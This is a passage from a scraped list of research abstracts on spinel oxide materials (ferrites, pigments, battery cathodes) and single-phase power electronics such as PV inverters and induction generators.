MgCr{sub 2}O{sub 4} and ZnAl{sub 2}O{sub 4} were investigated by X-ray diffraction, Raman spectroscopy and transmission electron microscopy. The structural and microstructural changes occurring in these three systems are described. Irradiation acts at the atomic and mesoscopic scales in different ways. At the atomic scale it produces the inversion of the cations in the structure. At the mesoscopic scale it produces a change of the size of the diffracting domains, responsible for the colossal changes in the observed X-ray diffraction patterns. 7. A compact seven switches topology and reduced DC-link capacitor size for single-phase stand-alone PV system with hybrid energy storages DEFF Research Database (Denmark) Liu, Xiong; Wang, Peng; Loh, Poh Chiang 2011-01-01 Single-phase stand-alone PV system is suitable for household applications in remote area. Hybrid battery/ultra-capacitor energy storage can reduce charge and discharge cycles and avoid deep discharges of battery. This paper proposes a compact seven switches structure for stand-alone PV system......-order harmonic current caused by single-phase inverter. In the proposed compact topology, a small size DC-link capacitor can achieve the same function through charging/discharging control of ultra-capacitor to mitigate second-order ripple current. Simulation results are provided to validate the effectiveness......, which otherwise needs nine switches configuration, inclusive of one switch for boost converter, four switches for single-phase inverter and four switches for two DC/DC converters of battery and ultra-capacitor. It is well-known that a bulky DC-link capacitor is always required to absorb second... 8. Spinel Li2CoTi3O8 nanometer obtained for application as pigment International Nuclear Information System (INIS) Costa de Camara, M. S.; Alves Pimentel, L.; Longo, E.; Nobrega Azevedo, L. da; Araujo Melo, D. M. de 2016-01-01 Pigments are used in ceramics, cosmetics, inks, and other applications widely materials. To this must be single and easily reproducible. Moreover, the pigments obtained in the nanoscale are more stable, reproducible and highlight color in small amounts compared with those obtained in micrometer scale. The mixed oxides with spinel structures AB 2 O 4 have important applications, including: pigments, refractories, catalytic and electronic ceramics. In this context, the aim of this work was the preparation of powder Li 2 CoTi 3 O 8 spinel phase with nanometer particle size of the polymeric precursor method (Pechini) and characterization by means of thermal analysis (TG/DTA) X-ray diffraction (XRD), refined by the Rietveld method, BET, transmission electron microscopy (TEM), Raman and colorimetric coordinates. The pigment was obtained by heat treatment of 400 degree centigrade to 1000 degree centigrade after pyrolysis at 300 degree centigrade/1 h for removing the organic material. Li 2 CoTi 3 O 8 desired spinel phase was obtained from 500 degree centigrade, and presenting stability nanometer to about 1.300 degree centigrade. Spinel green phase introduced at temperatures in the range of 400 degree centigrade and 500 degree centigrade, and 600 degree centigrade at temperatures between blue and 1000 degree centigrade. (Author) 9. Spinel/Layered Heterostructured Lithium-Rich Oxide Nanowires as Cathode Material for High-Energy Lithium-Ion Batteries. Science.gov (United States) Yu, Ruizhi; Zhang, Xiaohui; Liu, Tao; Yang, Li; Liu, Lei; Wang, Yu; Wang, Xianyou; Shu, Hongbo; Yang, Xiukang 2017-11-29 Lithium-rich oxide material has been considered as an attractive candidate for high-energy cathode for lithium-ion batteries (LIBs). However, the practical applications are still hindered due to its low initial reversible capacity, severe voltage decaying, and unsatisfactory rate capability. Among all, the voltage decaying is a serious barrier that results in a large decrease of energy density during long-term cycling. To overcome these issues, herein, an efficient strategy of fabricating lithium-rich oxide nanowires with spinel/layered heterostructure is proposed. Structural characterizations verify that the spinel/layered heterostructured nanowires are a self-assembly of a lot of nanoparticles, and the Li 4 Mn 5 O 12 spinel phase is embedded inside the layered structure. When the material is used as cathode of LIBs, the spinel/layered heterostructured nanowires can display an extremely high invertible capacity of 290.1 mA h g -1 at 0.1 C and suppressive voltage fading. Moreover, it exhibits a favorable cycling stability with capacity retention of 94.4% after charging/discharging at 0.5 C for 200 cycles and it shows an extraordinary rate capability (183.9 mA h g -1 , 10 C). The remarkable electrochemical properties can be connected with the spinel/layered heterostructure, which is in favor of Li + transport kinetics and enhancing structural stability during the cyclic process. 10. A Novel Model Predictive Control for Single-Phase Grid-Connected Photovoltaic Inverters DEFF Research Database (Denmark) 2017-01-01 Single-phase grid-connected inverters with LCL filter are widely used to connect photovoltaic systems to the utility grid. Among the existing control schemes, predictive control methods are faster and more accurate but also more complicated to implement. Recently, the Model Predictive Control (MPC......) algorithm for single-phase inverter has been presented, where the algorithm implementation is straightforward. In the MPC approach, all switching states are considered in each switching period to achieve the control objectives. However, since the number of switching states in single-phase inverters is small...... vectors. Simulation results show that the proposed approach lead to a lower THD in the injected current combined with fast dynamics. The proposed predictive control has been simulated and implemented on a 1 kW single-phase HERIC (highly efficient and reliable inverter concept) inverter with an LCL filter... 11. Light-Weight, Low-Cost, Single-Phase, Liquid-Cooled Cold Plate (Presentation) Energy Technology Data Exchange (ETDEWEB) Narumanchi, S. 2013-07-01 This presentation, 'Light-Weight, Low-Cost, Single-Phase Liquid-Cooled Cold Plate,' directly addresses program goals of increased power density, specific power, and lower cost of power electronics components through improved thermal management. 12. Standard Specification for Sampling Single-Phase Geothermal Liquid or Steam for Purposes of Chemical Analysis CERN Document Server American Society for Testing and Materials. Philadelphia 1983-01-01 1.1 This specification covers the basic requirements for equipment to be used for the collection of uncontaminated and representative samples from single-phase geothermal liquid or steam. Geopressured liquids are included. See Fig 1. 13. Local probing spinel and perovskite complex magnetic systems CERN Document Server De Pinho Oliveira, Goncalo; Lima Lopes, Armandina Maria Materials with multifunctional physical properties are crucial for the modern society, especially those which display a strong coupling between magnetic, lattice and polar degrees of freedom. This by far unexploited capability promises new paradigm-shift technologies for cooling technologies, magnetic data storage, high-frequency magnetic devices, spintronics, and micro-electromechanical systems. Alongside with the understanding of the properties of these materials, the need to improve them and to make them smaller and more efficient is a current goal. Device miniaturization towards very high-density data storage stands also as a trend in modern science and technology. Here, the integration of several functions into one material system has become highly desirable. Research in this area has already highlighted complex magnetic materials with po- tential for multifunctional applications based on spinel type structures like CdMn2O4 or multiferroic CdCr2S4 or even RCrO3 with orthorhombically distorted perovskite ... 14. Reduction of waveform distortion in grid-injection current from single-phase utility interactive PV-inverter International Nuclear Information System (INIS) 2014-01-01 Highlights: • A reduction scheme for harmonics from utility interactive PV-inverter is proposed. • Single-phase conditioner with 3-phase expandability structure is used. • The single-phase conditioner in 3-phase structure work independently. • The scheme works effectively within overall operation range of the PV-inverter. • Conditioner in the scheme also improves the PV-inverter and plant’s utility factor. - Abstract: As the natural behavior of energy source and design characteristic, the current generated by a grid-interactive PV-inverter may contain harmonics. This distortion component will be carried on from the PV-inverter during injection power into the grid. Excessive harmonics in a grid will lead to a variety of power quality problems. This paper presents a distortion reduction scheme, utilizing a fed forward single-phase, generation-side power conditioner with a structure that can be expanded for use in a three-phase system and can work independently under imbalanced condition. Conditioner is placed in parallel with the photovoltaic plant and it functions to compensate the plant’s output current distortion, so that the total current flow to the grid is sinusoidal. This method also includes the implementation of a simpler control system for the conditioner, which consists of a combination of distortion current extraction, synchronization and a current control system, and realized through a TMS320F28335: a 150 MHz floating point DSP controller. Testing of the conditioner prototype, which was conducted on a real operation of a PV plant, showed that the scheme worked effectively within the overall operation range of the PV plant. This paper also discusses the potential of utility factor improvement of the PV-inverter and plant due to implementation of conditioner in the scheme 15. Chromian spinel-rich black sands from eastern shoreline of ... rocks, especially Alpine-type peridotites (Press. 1986; Arai and Okada 1991; Cookenboo et al. 1997;. Lee 1999). Due to the high mechanical and chem- ical resistivity of spinel grains, it usually forms beach placers. The spinel compositions, known to be influenced by the geodynamic environment of formation (Evans and ... 16. Chromian spinel-rich black sands from eastern shoreline of ... Black sands rich in chromian spinel commonly occur in pockets along the eastern shoreline of Andaman. Island where various types of peridotites and volcanics belonging to the Andaman ophiolite suite are exposed in close vicinity. The chemistry of these detrital chromian spinels has been extensively used here. 17. Chromian spinel-rich black sands from eastern shoreline of ... Black sands rich in chromian spinel commonly occur in pockets along the eastern shoreline of Andaman Island where various types of peridotites and volcanics belonging to the Andaman ophiolite suite are exposed in close vicinity. The chemistry of these detrital chromian spinels has been extensively used here in ... 18. Black and green pigments based on chromium-cobalt spinels Energy Technology Data Exchange (ETDEWEB) 2011-09-15 Highlights: {yields} Co(Co{sub 2-x}Cr{sub x})O{sub 4} powders with different chromium concentrations (x = 0, 0.25 and 1) were prepared by the polymeric precursor method. {yields} Co(CoCr)O{sub 4} and Co(Co{sub 1.75}Cr{sub 0.25})O{sub 4} displayed a dark color and CoCr{sub 2}O{sub 4} was green. {yields} The colors were related to the different oxidation states of Cr and Co. {yields} Cobalt enrichment result in an increasing presence of Co(III) and a decrease amount of Cr(VI). - Abstract: Chromium and cobalt oxides are widely used in the manufacture of industrial pigments. In this work, the Co(Co{sub 2-x}Cr{sub x})O{sub 4} powders with different chromium concentrations (x = 0, 0.25 and 1) were synthesized by the polymeric precursor method, heat treatment between 600 and 1000 deg. C. These powders were characterized by X-ray diffraction, infrared spectroscopy, colorimetry, UV-vis absorption and X-ray photoelectron spectroscopies. Even with the addition of chromium, the XRD patterns revealed that all powders crystallize in a single spinel cubic structure. The spinels with higher cobalt amount, Co(CoCr)O{sub 4} and Co(Co{sub 1.75}Cr{sub 0.25})O{sub 4}, displayed a dark color, without the Co{sup 3+} reduction observed in Co{sub 3}O{sub 4} between 900 and 950 deg. C. The spinel with higher chromium amount, CoCr{sub 2}O{sub 4}, was green. The colors were directly related to the occupation of tetrahedral and octahedral sites by the chromophores, as well as to the different oxidation states of chromium and cobalt. The different optical band gap values estimated from UV-vis spectra suggested the existence of intermediary energy levels within the band gap. X-ray photoelectron spectroscopy confirmed an increasing presence of Co(III) and a decreasing amount of Cr(VI) with cobalt enrichment. 19. Functional Ceramic Ferroelectromagnetic Materials in Single Phase Solid-Solutions Science.gov (United States) 2007-12-05 PbTiO3)1-x, where x= 0.10, 0.20, 0.30, 0.40, 0.67. ( work is still going on) Introduction: Recently BaTiO3 is doped with Ni and Co to get...xBaxMnO3 was expected to enhance the magnetic properties. LaMnO3 is an antiferromagnetic insulator and have cubic perovskite structure. The doping with...research in solid solutions like x (BiFeO3)-(1-x) (PbTiO3) ( BF-PT), BiFeO3- BaTiO3 , BiFeO3- Pb(FeNb)O3, BiFeO3-ReFeO3- BaTiO3 .Mainly the aim of the 20. Solution-combustion synthesized aluminium-doped spinel (LiAl(subx)Mn(sub2-x)O(sub4) as a high-performance lithium-ion battery cathode material CSIR Research Space (South Africa) Kebede, MA 2015-06-01 Full Text Available High-performing (LiAl(subx)Mn(sub2-x)O(sub4) (x = 0, 0.125, 0.25, 0.375, and 0.5) spinel cathode materials for lithium-ion battery were developed using a solution combustion method. The as-synthesized cathode materials have spinel cubic structure... 1. Spinel and post-spinel phase assemblages in Zn2TiO4: an experimental and theoretical study Science.gov (United States) Zhang, Yanyao; Liu, Xi; Shieh, Sean R.; Bao, Xinjian; Xie, Tianqi; Wang, Fei; Zhang, Zhigang; Prescher, Clemens; Prakapenka, Vitali B. 2017-02-01 Zn2TiO4 spinel (Zn2TiO4-Sp) was synthesized by a solid-state reaction method (1573 K, room P and 72 h) and quasi-hydrostatically compressed to 24 GPa using a DAC coupled with a synchrotron X-ray radiation (ambient T). We found that the Zn2TiO4-Sp was stable up to 21 GPa and transformed to another phase at higher P. With some theoretical simulations, we revealed that this high- P phase adopted the CaTi2O4-type structure (Zn2TiO4-CT). Additionally, the isothermal bulk modulus ( K T) of the Zn2TiO4-Sp was experimentally obtained as 156.0(44) GPa and theoretically obtained as 159.1(4) GPa, with its first pressure derivative K_{{T}}' as 3.8(6) and 4.37(4), respectively. The volumetric and axial isothermal bulk moduli of the Zn2TiO4-CT were theoretically obtained as K T = 150(2) GPa (K_{{T}}' = 5.4(2); for the volume), K T- a = 173(2) GPa (K_{{{T-}}a}' = 3.9(1); for the a-axis), K T- b = 74(2) GPa (K_{{{T-}}b}' = 7.0(2); for the b-axis), and K T- c = 365(8) GPa (K_{{{T-}}c}' = 1.5(4); for the c-axis), indicating a strong elastic anisotropy. The Zn2TiO4-CT was found as 10.0 % denser than the Zn2TiO4-Sp at ambient conditions. The spinel and post-spinel phase assemblages for the Zn2TiO4 composition at high T have been deduced as Zn2TiO4-Sp, ZnTiO3-ilmenite + ZnO-wurtzite, ZnTiO3-ilmenite + ZnO-rock salt, ZnTiO3-perovskite + ZnO-rock salt, and Zn2TiO4-CT as P increases, which presumably implies a potential stability field for a CT-type Mg2SiO4 at very high P. 2. Adaptive Hysteresis Band Current Control for Transformerless Single-Phase PV Inverters DEFF Research Database (Denmark) Vázquez, Gerardo; Rodriguez, Pedro; Ordoñez, Rafael 2009-01-01 Current control based on hysteresis algorithms are widely used in different applications, such as motion control, active filtering or active/reactive power delivery control in distributed generation systems. The hysteresis current control provides to the system a fast and robust dynamic response,...... different single-phase PV inverter topologies, by means of simulations performed with PSIM. In addition, the behavior of the thermal losses when using each control structure in such converters has been studied as well.......Current control based on hysteresis algorithms are widely used in different applications, such as motion control, active filtering or active/reactive power delivery control in distributed generation systems. The hysteresis current control provides to the system a fast and robust dynamic response......, and requires a simple implementation in standard digital signal platforms. On the other hand, the main drawback of classical hysteresis current control lies in the fact that the switching frequency is variable, as the hysteresis band is fixed. In this paper a variable band hysteresis control algorithm... 3. Study of structural and magnetic properties of (Co–Cu)Fe{sub 2}O{sub 4}/PANI composites Energy Technology Data Exchange (ETDEWEB) Hashim, Mohd., E-mail: [email protected] [Department of Applied Physics, Aligarh Muslim University, Aligarh 202 002 (India); Alimuddin [Department of Applied Physics, Aligarh Muslim University, Aligarh 202 002 (India); Shirsath, Sagar E. [Spin Device Technology Centre, Department of Information Engineering, Shinshu University, Nagano 380-8553 (Japan); Meena, S.S. [Solid State Physics Division, Bhabha Atomic Research Centre, Mumbai 400 085 (India); Kotnala, R.K. [National Physical Laboratory (CSIR), Dr. K.S. Krishnan Road, New Delhi 110 012 (India); Kumar, Shalendra [Department of Physics, Pohang University of Science and Technology, Pohang 790-784 (Korea, Republic of); Bhatt, Pramod [Solid State Physics Division, Bhabha Atomic Research Centre, Mumbai 400 085 (India); Jotania, R.B. [Department of Physics, School of Science, Gujarat University, Ahmedabad 380 009 (India); Kumar, Ravi [Centre for Material Science Engineering, National Institute of Technology, Hamirpur 171 005, HP (India) 2013-08-15 The nanocomposites of the polyaniline and Co{sub 1−x}Cu{sub x}Fe{sub 2}O{sub 4} (PANI/CoCuFe) were prepared by in-situ oxidative polymerization of aniline. Prepared nanocomposites samples were characterized by using various experimental techniques like X-ray diffraction (XRD), Fourier transformed infrared spectroscopy (FT-IR), field emission scanning electron microscope (FE-SEM), vibrating sample magnetometer (VSM), Mössbauer spectroscopy and ultraviolet–visible spectrophotometry (UV–VIS). The elemental analysis as obtained from the energy dispersive X-ray spectroscopy (EDAX) measurement is in close agreement with the expected composition from the stoichiometry of the reactant solutions. XRD result confirms that all the samples have the single phase cubic spinel structure. Unit cell parameter ‘a’ is found to decrease with the increase in copper ion substitution. The crystallite size was investigated by using the Debye–Scherer formula and it was found in the range of ∼28–37 nm. FE-SEM confirmed the homogeneous and well defined surface morphology of the synthesized samples. FT-IR study showed the main absorption bands corresponding to the spinel structure those arose due to the tetrahedral and octahedral stretching vibrations. Cation distribution was estimated using XRD data. Hysteresis measurements revealed that the saturation magnetization decreased with increase in Cu{sup 2+} substitution. Magnetic environment of {sup 57}Fe in Cu-doped cobalt ferrite was investigated by using Mössbauer spectroscopy. Mössbauer study evidenced the ferrimagnetic behavior of the synthesized samples. - Highlights: • Crystallite size decreases with increasing Cu{sup 2+} substitution. • The prepared samples show the formation of single phase cubic spinel structure. • Cation distribution shows that Cu and Co ions shows strong preference toward octahedral B site. • Magnetization decreases with increasing Cu{sup 2+} substitution. • Mössbauer study shows 4. Single-phase ProtoDUNE, the Prototype of a Single-Phase Liquid Argon TPC for DUNE at the CERN Neutrino Platform CERN Document Server Cavanna, F; Touramanis, C 2017-01-01 ProtoDUNE-SP is the single-phase DUNE Far Detector prototype that is under construction and will be operated at the CERN Neutrino Platform (NP) starting in 2018. It was proposed to the CERN SPSC in June 2015 (SPSC-P-351) and was approved in December 2015 as experiment NP04 (ProtoDUNE). ProtoDUNE-SP, a crucial part of the DUNE effort towards the construction of the first DUNE 10-kt fiducial mass far detector module (17 kt total LAr mass), is a significant experiment in its own right. With a total liquid argon (LAr) mass of 0.77 kt, it represents the largest monolithic single phase LArTPC detector to be built to date. It is housed in an extension to the EHN1 hall in the North Area, where the CERN NP is providing a new dedicated charged-particle test beamline. ProtoDUNE-SP aims to take its first beam data before the LHC long shutdown (LS2) at the end of 2018. ProtoDUNE-SP prototypes the designs of most of the single-phase DUNE far detector module (DUNE-SP) components at a 1:1 scale, with an extrapolation of abo... 5. Observation and manipulation of magnetic domains in sol gel derived thin films of spinel ferrites Science.gov (United States) Datar, Ashwini A.; Mathe, Vikas L. 2017-12-01 Thin films of spinel ferrites, namely zinc substituted nickel, cobalt ferrite, and manganese substituted cobalt ferrite, were synthesized using sol-gel derived spin-coating techniques. The films were characterized using x-ray diffraction, field emission scanning electron microscopy, Fourier transform infrared spectroscopy and Raman spectroscopy techniques for the analysis of structural, morphological and vibrational band transition properties, which confirm the spinel phase formation of the films. The magnetic force microscopy (MFM) technique was used to observe the magnetic domain structure present in the synthesized films. Further, the films were subjected to an external DC magnetic field of 2 kG to orient the magnetic domains and analyzed using an ex situ MFM technique. 6. Strain effects in spinel ferrite thin films from first principles calculations Energy Technology Data Exchange (ETDEWEB) Fritsch, D; Ederer, Claude, E-mail: [email protected] [School of Physics, Trinity College Dublin, Dublin 2 (Ireland) 2011-04-01 The inverse spinel ferrimagnets CoFe{sub 2}O{sub 4} (CFO) and NiFe{sub 2}O{sub 4} (NFO) are of interest for applications in spin-filter devices or as building blocks of artificial multiferroic heterostructures. Here we present density functional theory calculations of the structural and magnetic properties of CFO and NFO, with special emphasis on strain-induced changes in the magneto-crystalline anisotropy energy. We find that tensile (compressive) strain favours perpendicular (in-plane) anisotropy, in agreement with experimental observations. Our calculated magnetostriction constants {lambda}{sub 100} agree well with available experimental data. Furthermore, the influence of different cation arrangements used to represent the inverse spinel structure and the effect of different exchange-correlation functionals are analysed and discussed. 7. Coordinated single-phase control scheme for voltage unbalance reduction in low voltage network. Science.gov (United States) Pullaguram, Deepak; Mishra, Sukumar; Senroy, Nilanjan 2017-08-13 Low voltage (LV) distribution systems are typically unbalanced in nature due to unbalanced loading and unsymmetrical line configuration. This situation is further aggravated by single-phase power injections. A coordinated control scheme is proposed for single-phase sources, to reduce voltage unbalance. A consensus-based coordination is achieved using a multi-agent system, where each agent estimates the averaged global voltage and current magnitudes of individual phases in the LV network. These estimated values are used to modify the reference power of individual single-phase sources, to ensure system-wide balanced voltages and proper power sharing among sources connected to the same phase. Further, the high X / R ratio of the filter, used in the inverter of the single-phase source, enables control of reactive power, to minimize voltage unbalance locally. The proposed scheme is validated by simulating a LV distribution network with multiple single-phase sources subjected to various perturbations.This article is part of the themed issue 'Energy management: flexibility, risk and optimization'. © 2017 The Author(s). 8. Searching for Next Single-Phase High-Entropy Alloy Compositions Directory of Open Access Journals (Sweden) David E. Alman 2013-10-01 Full Text Available There has been considerable technological interest in high-entropy alloys (HEAs since the initial publications on the topic appeared in 2004. However, only several of the alloys investigated are truly single-phase solid solution compositions. These include the FCC alloys CoCrFeNi and CoCrFeMnNi based on 3d transition metals elements and BCC alloys NbMoTaW, NbMoTaVW, and HfNbTaTiZr based on refractory metals. The search for new single-phase HEAs compositions has been hindered by a lack of an effective scientific strategy for alloy design. This report shows that the chemical interactions and atomic diffusivities predicted from ab initio molecular dynamics simulations which are closely related to primary crystallization during solidification can be used to assist in identifying single phase high-entropy solid solution compositions. Further, combining these simulations with phase diagram calculations via the CALPHAD method and inspection of existing phase diagrams is an effective strategy to accelerate the discovery of new single-phase HEAs. This methodology was used to predict new single-phase HEA compositions. These are FCC alloys comprised of CoFeMnNi, CuNiPdPt and CuNiPdPtRh, and HCP alloys of CoOsReRu. 9. A single-phase axially-magnetized permanent-magnet oscillating machine for miniature aerospace power sources Science.gov (United States) Sui, Yi; Zheng, Ping; Cheng, Luming; Wang, Weinan; Liu, Jiaqi 2017-05-01 A single-phase axially-magnetized permanent-magnet (PM) oscillating machine which can be integrated with a free-piston Stirling engine to generate electric power, is investigated for miniature aerospace power sources. Machine structure, operating principle and detent force characteristic are elaborately studied. With the sinusoidal speed characteristic of the mover considered, the proposed machine is designed by 2D finite-element analysis (FEA), and some main structural parameters such as air gap diameter, dimensions of PMs, pole pitches of both stator and mover, and the pole-pitch combinations, etc., are optimized to improve both the power density and force capability. Compared with the three-phase PM linear machines, the proposed single-phase machine features less PM use, simple control and low controller cost. The power density of the proposed machine is higher than that of the three-phase radially-magnetized PM linear machine, but lower than the three-phase axially-magnetized PM linear machine. 10. Synthesis of magnesium aluminate spinel by periclase and alumina chlorination International Nuclear Information System (INIS) Orosco, Pablo; Barbosa, Lucía; Ruiz, María del Carmen 2014-01-01 Highlights: • Use of chlorination for the synthesis of magnesium aluminate spinel. • The reagents used were alumina, periclase and chlorine. • Isothermal and non-isothermal assays were performed in air and Cl 2 –N 2 flows. • The chlorination produced magnesium aluminate spinel at 700 °C. • Selectivity of the chlorination reaction to obtain spinel is very high. - Abstract: A pyrometallurgical route for the synthesis of magnesium aluminate spinel by thermal treatment of a mechanical mixture containing 29 wt% MgO (periclase) and 71 wt% Al 2 O 3 (alumina) in chlorine atmosphere was developed and the results were compared with those obtained by calcining the same mixture of oxides in air atmosphere. Isothermal and non-isothermal assays were performed in an experimental piece of equipment adapted to work in corrosive atmospheres. Both reagents and products were analyzed by differential thermal analysis (DTA), X-ray diffraction (XRD) and X-ray fluorescence (XRF). Thermal treatment in Cl 2 atmosphere of the MgO–Al 2 O 3 mixture produces magnesium aluminate spinel at 700 °C, while in air, magnesium spinel is generated at 930 °C. The synthesis reaction of magnesium aluminate spinel was complete at 800 °C 11. Synthesis of magnesium aluminate spinel by periclase and alumina chlorination Energy Technology Data Exchange (ETDEWEB) Orosco, Pablo, E-mail: [email protected] [Instituto de Investigaciones en Tecnología Química (INTEQUI), Chacabuco y Pedernera, San Luis (Argentina); Facultad de Química, Bioquímica y Farmacia, Universidad Nacional de San Luis Chacabuco y Pedernera, San Luis (Argentina); Barbosa, Lucía [Instituto de Investigaciones en Tecnología Química (INTEQUI), Chacabuco y Pedernera, San Luis (Argentina); Instituto de Ciencias Básicas (ICB), Universidad Nacional de Cuyo Parque General San Martín, Mendoza (Argentina); Ruiz, María del Carmen [Instituto de Investigaciones en Tecnología Química (INTEQUI), Chacabuco y Pedernera, San Luis (Argentina); Facultad de Química, Bioquímica y Farmacia, Universidad Nacional de San Luis Chacabuco y Pedernera, San Luis (Argentina) 2014-11-15 Highlights: • Use of chlorination for the synthesis of magnesium aluminate spinel. • The reagents used were alumina, periclase and chlorine. • Isothermal and non-isothermal assays were performed in air and Cl{sub 2}–N{sub 2} flows. • The chlorination produced magnesium aluminate spinel at 700 °C. • Selectivity of the chlorination reaction to obtain spinel is very high. - Abstract: A pyrometallurgical route for the synthesis of magnesium aluminate spinel by thermal treatment of a mechanical mixture containing 29 wt% MgO (periclase) and 71 wt% Al{sub 2}O{sub 3} (alumina) in chlorine atmosphere was developed and the results were compared with those obtained by calcining the same mixture of oxides in air atmosphere. Isothermal and non-isothermal assays were performed in an experimental piece of equipment adapted to work in corrosive atmospheres. Both reagents and products were analyzed by differential thermal analysis (DTA), X-ray diffraction (XRD) and X-ray fluorescence (XRF). Thermal treatment in Cl{sub 2} atmosphere of the MgO–Al{sub 2}O{sub 3} mixture produces magnesium aluminate spinel at 700 °C, while in air, magnesium spinel is generated at 930 °C. The synthesis reaction of magnesium aluminate spinel was complete at 800 °C. 12. Tailoring the magnetic properties and magnetorheological behavior of spinel nanocrystalline cobalt ferrite by varying annealing temperature OpenAIRE Sedlačík, Michal; Pavlínek, Vladimír; Peer, Petra; Filip, Petr 2014-01-01 Magnetic nanoparticles of spinel nanocrystalline cobalt ferrite were synthesized via the sol-gel method and subsequent annealing. The influence of the annealing temperature on the structure, magnetic properties, and magnetorheological effect was investigated. The finite crystallite size of the particles, determined by X-ray diffraction and the particle size observed via transmission electron microscopy, increased with the annealing temperature. The magnetic properties observed via a vibrating... 13. Re4As6S3, a thio-spinel-related cluster system DEFF Research Database (Denmark) Besnard, Celine; Svensson, Christer; Ståhl, Kenny 2003-01-01 . The rhenium atoms form tetrahedral clusters linked via tetrahedral arsenic clusters to produce an NaCl-type arrangement. The oxidation state of rhenium is IV and the number of electrons shared by the rhenium atoms in the cluster is 12. The structure is based on an ordered defect thio-spinel A((1-x))B(2)X(4......) where the B-type atoms form tetrahedral clusters.... 14. Effect of calcination temperature on microstructural and magnetic properties of CuFe2O4 spinel Energy Technology Data Exchange (ETDEWEB) Costa, A.F.; Melo, D.M.A.; Gomes, D.K.S.; Araujo, J.H.; Lima, A.C. [Universidade Federal do Rio Grande do Norte (UFRN), RN (Brazil); Pimentel, P.M. [Universidade Federal Rural do Semi-Arido (UFERSA), Mossoro, RN (Brazil); Santana, R.S.; Oliveira, R.M.P.B. [Universidade Federal de Sergipe (UFS), SE (Brazil) 2014-07-01 In this research, we report a study of nanostructured CuFe{sub 2}O{sub 4} Spinel obtained by a method which makes uses of gelatin as an organic precursor. The structural and magnetic properties were investigated in function of calcination temperature. The precursor powders were calcined at 700 and 900 deg C to obtain spinel phase. Then were characterized using X-ray diffraction combined with the Rietveld refinement method, infrared spectroscopy (FTIR), and magnetic measurements. The X-ray diffraction patterns revealed the presence of an inverse spinel phase, corresponding to copper ferrite in all samples. Moreover, Fe{sub 2}O{sub 3} and CuO phases were also identified. The results reveal that the calcination temperature strongly influences the magnetic properties of the prepared oxides. (author) 15. Reliability Evaluation of a Single-phase H-bridge Inverter with Integrated Active Power Decoupling DEFF Research Database (Denmark) Tang, Junchaojie; Wang, Haoran; Ma, Siyuan 2016-01-01 Various power decoupling methods have been proposed recently to replace the DC-link Electrolytic Capacitors (E-caps) in single-phase conversion system, in order to extend the lifetime and improve the reliability of the DC-link. However, it is still an open question whether the converter level...... reliability becomes better or not, since additional components are introduced and the loading of the existing components may be changed. This paper aims to study the converter level reliability of a single-phase full-bridge inverter with two kinds of active power decoupling module and to compare...... it with the traditional passive DC-link solution. The converter level reliability is obtained by component level electro-thermal stress modeling, lifetime model, Weibull distribution, and Reliability Block Diagram (RBD) method. The results are demonstrated by a 2 kW single-phase inverter application.... 16. Field-circuit analysis and measurements of a single-phase self-excited induction generator Science.gov (United States) Makowski, Krzysztof; Leicht, Aleksander 2017-12-01 The paper deals with a single-phase induction machine operating as a stand-alone self-excited single-phase induction generator for generation of electrical energy from renewable energy sources. By changing number of turns and size of wires in the auxiliary stator winding, an improvement of performance characteristics of the generator were obtained as regards no-load and load voltage of the stator windings as well as stator winding currents of the generator. Field-circuit simulation models of the generator were developed using Flux2D software package for the generator with shunt capacitor in the main stator winding. The obtained results have been validated experimentally at the laboratory setup using the single-phase capacitor induction motor of 1.1 kW rated power and 230 V voltage as a base model of the generator. 17. Benchmarking of grid fault modes in single-phase grid-connected photovoltaic systems DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede; Zou, Zhixiang 2012-01-01 Pushed by the booming installations of single-phase photovoltaic (PV) systems, the grid demands regarding the integration of PV systems are expected to be modified. Hence, the future PV systems should become more active with functionalities of low voltage ride-through (LVRT) and the grid support...... capability. The control methods, together with grid synchronization techniques, are responsible for the generation of appropriate reference signals in order to handle ride-through grid faults. Thus, it is necessary to evaluate the behaviors of grid synchronization methods and control possibilities in single...... phase systems under grid faults. The intent of this paper is to present a benchmarking of grid fault modes that might come in future single-phase PV systems. In order to map future challenges, the relevant detection and control strategies are discussed. Some faulty modes are studied experimentally... 18. Magnetic and catalytic properties of inverse spinel CuFe2O4 nanoparticles International Nuclear Information System (INIS) Anandan, S.; Selvamani, T.; Prasad, G. Guru; Asiri, A.M.; Wu, J.J. 2017-01-01 Highlights: • Copper ferrite (CuFe 2 O 4 ) nanoparticles were synthesized via citrate-nitrate combustion method. • Spectroscopic information’s have found that CuFe 2 O 4 nanoparticles as an inverse spinel structure. • Magnetic study exhibits CuFe 2 O 4 nanoparticles have ferromagnetic behavior. • CuFe 2 O 4 nanoparticles employed for photocatalytic decolourisation of methylene blue under visible light irradiation. - Abstract: In this research, inverse spinel copper ferrite nanoparticles (CuFe 2 O 4 NPs) were synthesized via citrate-nitrate combustion method. The crystal structure, particle size, morphology and magnetic studies were investigated using various instrumental tools to illustrate the formation of the inverse spinel structure. Mossbauer spectrometry identified Fe is located both in the tetrahedral and octahedral site in the ratio (40:60) and the observed magnetic parameters values such as saturation magnetization (M s = 20.62 emu g −1 ), remnant magnetization (M r = 11.66 emu g −1 ) and coercivity (H c = 63.1 mTesla) revealed that the synthesized CuFe 2 O 4 NPs have a typical ferromagnetic behaviour. Also tested CuFe 2 O 4 nanoparticles as a photocatalyst for the decolourisation of methylene blue (MB) in the presence of peroxydisulphate as the oxidant. 19. 16 channel WDM regeneration in a single phase-sensitive amplifier through optical Fourier transformation DEFF Research Database (Denmark) Guan, Pengyu; Da Ros, Francesco; Lillieholm, Mads 2016-01-01 We demonstrate simultaneous phase regeneration of 16-WDM DPSK channels using optical Fourier transformation and a single phase-sensitive amplifier. The BERs of 16-WDM×10-Gbit/s phase noise degraded DPSK signals are improved by 0.4-1.3 orders of magnitude......We demonstrate simultaneous phase regeneration of 16-WDM DPSK channels using optical Fourier transformation and a single phase-sensitive amplifier. The BERs of 16-WDM×10-Gbit/s phase noise degraded DPSK signals are improved by 0.4-1.3 orders of magnitude... 20. Single-phase power distribution system power flow and fault analysis Science.gov (United States) Halpin, S. M.; Grigsby, L. L. 1992-01-01 Alternative methods for power flow and fault analysis of single-phase distribution systems are presented. The algorithms for both power flow and fault analysis utilize a generalized approach to network modeling. The generalized admittance matrix, formed using elements of linear graph theory, is an accurate network model for all possible single-phase network configurations. Unlike the standard nodal admittance matrix formulation algorithms, the generalized approach uses generalized component models for the transmission line and transformer. The standard assumption of a common node voltage reference point is not required to construct the generalized admittance matrix. Therefore, truly accurate simulation results can be obtained for networks that cannot 